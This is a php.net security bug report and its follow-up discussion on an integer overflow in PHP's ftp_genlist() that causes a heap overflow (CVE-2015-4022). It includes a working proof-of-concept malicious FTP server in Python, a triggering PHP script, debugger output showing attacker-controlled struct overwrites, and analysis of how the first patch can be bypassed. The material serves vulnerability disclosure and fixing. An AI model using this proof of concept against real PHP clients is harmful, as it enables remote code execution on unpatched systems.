php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69545 Integer overflow in ftp_genlist() resulting in heap overflow
Submitted: 2015-04-28 23:55 UTC Modified: 2015-05-19 05:33 UTC
From: maxgeorgspelsberg at gmail dot com Assigned: laruence (profile)
Status: Closed Package: FTP related
PHP Version: 5.6.8 OS:
Private report: No CVE-ID: 2015-4022
 [2015-04-28 23:55 UTC] maxgeorgspelsberg at gmail dot com
Description:
------------
The ftp_genlist() function of the ftp extension is prone to an integer overflow, which may result in remote code execution.

ext/ftp/ftp.c:ftp_genlist(...)
1826         size = 0;
1827         lines = 0;
1828         lastch = 0;
1829         while ((rcvd = my_recv(ftp, data->fd, data->buf, FTP_BUFSIZE))) {
1830                 if (rcvd == -1) {
1831                         goto bail;
1832                 }
1833
1834                 php_stream_write(tmpstream, data->buf, rcvd);
1835
1836                 size += rcvd;
1837                 for (ptr = data->buf; rcvd; rcvd--, ptr++) {
1838                         if (*ptr == '\n' && lastch == '\r') {
1839                                 lines++; // [0]
1840                         } else {
1841                                 size++; // [1]
1842                         }
1843                         lastch = *ptr;
1844                 }
1845         }

In the above loop `size' or `lines' may overflow (at [0] respectively [1]).
This requires sending more than 2^32 bytes, which will be stored in a tempfile.

1851         ret = safe_emalloc((lines + 1), sizeof(char*), size); // [2]
1852
1853         entry = ret;
1854         text = (char*) (ret + lines + 1);
1855         *entry = text;
1856         lastch = 0;
1857         while ((ch = php_stream_getc(tmpstream)) != EOF) {
1858                 if (ch == '\n' && lastch == '\r') {
1859                         *(text - 1) = 0;
1860                         *++entry = text;
1861                 } else {
1862                         *text++ = ch; // [3]
1863                 }
1864                 lastch = ch;
1865         }
1866         *entry = NULL;

This results in the allocated buffer at [2] being to small to hold the data written to
the tempfile, which results in a heap overflow at [3] when loading the contents of the
tempfile back into memory.

These kind of bugs are well-known to be exploitable and since php_stream_getc uses structs
located on the heap, which may be overwritten, I think that this bug can be leveraged to attain
remote code execution.

Regards,
Max Spelsberg


malicious_server.py
===================
#!/usr/bin/env python2
# coding: utf-8

# based on https://gist.github.com/scturtle/1035886

import os,socket,threading,time

allow_delete = False
local_ip = "localhost"
local_port = 8887
currdir=os.path.abspath('.')

class FTPserverThread(threading.Thread):
    def __init__(self,(conn,addr)):
        self.conn=conn
        self.addr=addr
        self.basewd=currdir
        self.cwd=self.basewd
        self.rest=False
        self.pasv_mode=False
        threading.Thread.__init__(self)

    def run(self):
        self.conn.send('220 Welcome!\r\n')
        while True:
            cmd=self.conn.recv(256)
            if not cmd: break
            else:
                print 'Recieved:',cmd
                try:
                    func=getattr(self,cmd[:4].strip().upper())
                    func(cmd)
                except Exception,e:
                    print 'ERROR:',e
                    #traceback.print_exc()
                    self.conn.send('500 Sorry.\r\n')
            self.conn.close()

    def TYPE(self,cmd):
        self.mode=cmd[5]
        self.conn.send('200 Binary mode.\r\n')

    def PASV(self,cmd): # from http://goo.gl/3if2U
        self.pasv_mode = True
        self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.servsock.bind((local_ip,0))
        self.servsock.listen(1)
        ip, port = self.servsock.getsockname()
        print 'open', ip, port
        self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
                (','.join(ip.split('.')), port>>8&0xFF, port&0xFF))

    def start_datasock(self):
        if self.pasv_mode:
            self.datasock, addr = self.servsock.accept()
            print 'connect:', addr
        else:
            self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            self.datasock.connect((self.dataAddr,self.dataPort))

    def stop_datasock(self):
        self.datasock.close()
        if self.pasv_mode:
            self.servsock.close()

    # THIS is the interesting part    
    def LIST(self,cmd):
        self.conn.send('150 Here comes the directory listing.\r\n')
        print 'list:', self.cwd
        self.start_datasock()

        # send 2^32 + 1 bytes of data
        for i in xrange(262144):
            if i % 10000 == 0:
                print "%d" % i
            self.datasock.send("B"*16384)
        self.datasock.send("A\r\n")

        self.stop_datasock()
        self.conn.send('226 Directory send OK.\r\n')


class FTPserver(threading.Thread):
    def __init__(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.bind((local_ip,local_port))
        threading.Thread.__init__(self)

    def run(self):
        self.sock.listen(5)
        while True:
            th=FTPserverThread(self.sock.accept())
            th.daemon=True
            th.start()

    def stop(self):
        self.sock.close()

if __name__=='__main__':
    ftp=FTPserver()
    ftp.daemon=True
    ftp.start()
    print 'On', local_ip, ':', local_port
    raw_input('Enter to end...\n')
    ftp.stop()

buggy.php
=========
<?php
    $id = ftp_connect("localhost", 8887);
    ftp_pasv($id, TRUE);
    var_dump(ftp_rawlist($id, "/"));
?>


Result
======
(lldb) r ./buggy.php
Process 54712 launched: '/usr/bin/php' (x86_64)
Process 54712 stopped
* thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de)
    frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182
libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown:
->  0x7fff86503056 <+182>: movb   (%rsi,%r8), %cl
    0x7fff8650305a <+186>: movb   %cl, (%rdi,%r8)
    0x7fff8650305e <+190>: subq   $0x1, %rdx
    0x7fff86503062 <+194>: je     0x7fff86503078            ; <+216>
(lldb) register read rsi
     rsi = 0x00000001024243de
(lldb) bt
* thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de)
  * frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182
    frame #1: 0x000000010031b2c7 php`_php_stream_read + 81
    frame #2: 0x000000010031b8a1 php`_php_stream_getc + 22
    frame #3: 0x000000010010ec3a php`___lldb_unnamed_function2574$$php + 614
    frame #4: 0x000000010010c21c php`___lldb_unnamed_function2530$$php + 118
    frame #5: 0x00000001003cb2af php`___lldb_unnamed_function9391$$php + 1752
    frame #6: 0x00000001003813b0 php`execute_ex + 79
    frame #7: 0x000000010035d592 php`zend_execute_scripts + 482
    frame #8: 0x0000000100308897 php`php_execute_script + 684
    frame #9: 0x00000001003edce0 php`___lldb_unnamed_function9505$$php + 4653
    frame #10: 0x00000001003ec93c php`___lldb_unnamed_function9503$$php + 1408
    frame #11: 0x00007fff8cb8d5c9 libdyld.dylib`start + 1
(lldb)
[Note that the first three bytes (42, 43, de) of rsi have been overwritten!]


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-04-29 15:37 UTC] maxgeorgspelsberg at gmail dot com
This should fix the bug (As the bug is marked private, I unfortunately can't add a patch, so I have to resort to adding a new comment):

diff --git a/ext/ftp/ftp.c b/ext/ftp/ftp.c
index a6e0dfd..b805abe 100644
--- a/ext/ftp/ftp.c
+++ b/ext/ftp/ftp.c
@@ -1653,7 +1653,7 @@ ftp_genlist(ftpbuf_t *ftp, const char *cmd, const char *path TSRMLS_DC)
        lines = 0;
        lastch = 0;
        while ((rcvd = my_recv(ftp, data->fd, data->buf, FTP_BUFSIZE))) {
-               if (rcvd == -1) {
+               if (rcvd == -1 || size > INT_MAX - (rcvd * 2)) {
                        goto bail;
                }

After investigating a little bit further I noticed, that the provided test script(s) overwrite a part of the php_stream struct with user controlled data:

(lldb) frame variable *stream
(php_stream) *stream = {
  ops = 0x4242424242424242
  abstract = 0x4242424242424242
  readfilters = {
    head = 0x4242424242424242
    tail = 0x4242424242424242
    stream = 0x4242424242424242
  }
[...]

`ops' points to a bunch of function pointers, so arbitrary code execution
is much easier to achieve, than I previously thought.
 [2015-05-12 19:40 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=ac2832935435556dc593784cd0087b5e576bbe4d
Log: Fix bug #69545 - avoid overflow when reading list
 [2015-05-12 19:40 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-05-12 22:58 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=ac2832935435556dc593784cd0087b5e576bbe4d
Log: Fix bug #69545 - avoid overflow when reading list
 [2015-05-13 10:53 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=739adee1912176aacf351edc5751a02ded6ef1ec
Log: Fix bug #69545 - avoid overflow when reading list
 [2015-05-13 20:57 UTC] maxgeorgspelsberg at gmail dot com
It's great to see this bug being fixed. Unfortunately the patch is flawed.

In the recv loop (line 1829-1845 in my bug report) `size' can be incremented at two places. Once at `size += rcvd' and also at `size++'. This means that `size' can be incremented by more than `rcvd' per iteration, which results in the added overflow check being bypassable.

`size' can be incremented by at most `rcvd * 2' per iteration, which is the reason my previously suggested fix uses `rcvd * 2' and not only `rcvd'.

To properly fix the bug I suggest - in addition to the overflow check already in existence - removing the else branch, that increments `size' by one, resulting in `size' only being increased by `rcvd' or less per iteration and thus ensuring the overflow check can't be bypassed.

It's also worth noting that said branch isn't necessary for the workings of the function and just needlessly complicates it.

Regards,
Max Spelsberg

==
@@ -1663,8 +1663,6 @@ ftp_genlist(ftpbuf_t *ftp, const char *cmd, const char *path TSRMLS_DC)
                for (ptr = data->buf; rcvd; rcvd--, ptr++) {
                        if (*ptr == '\n' && lastch == '\r') {
                                lines++;
-                       } else {
-                               size++;
                        }
                        lastch = *ptr;
                }
 [2015-05-19 05:33 UTC] laruence@php.net
-Assigned To: +Assigned To: laruence -CVE-ID: +CVE-ID: 2015-4022
 [2015-05-28 08:49 UTC] thoger at redhat dot com
I concur with the comment above - the fix seems incorrect / incomplete, because input characters are counted twice.  That also reduces amount of data malicious FTP server needs to send to trigger this bug in unpatched PHP versions.  Malicious sever in the report sends 4G of data, but half of that is sufficient.

As the applied patch changed types from int to size_t, so the incomplete fix problem is only relevant on 32bit platforms.

Alternative to dropping else branch is to drop size += rcvd; as that counts \n following \r, which do not need to be counted.

Anyone backporting fix to older PHP versions should ensure 8f4a6d6 is also backported.
 [2015-06-18 12:35 UTC] kaplan@php.net
The fix by Max (commit 0765623d) got CVE-2015-4643 assigned to it.
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sat Nov 18 08:03:32 2017 UTC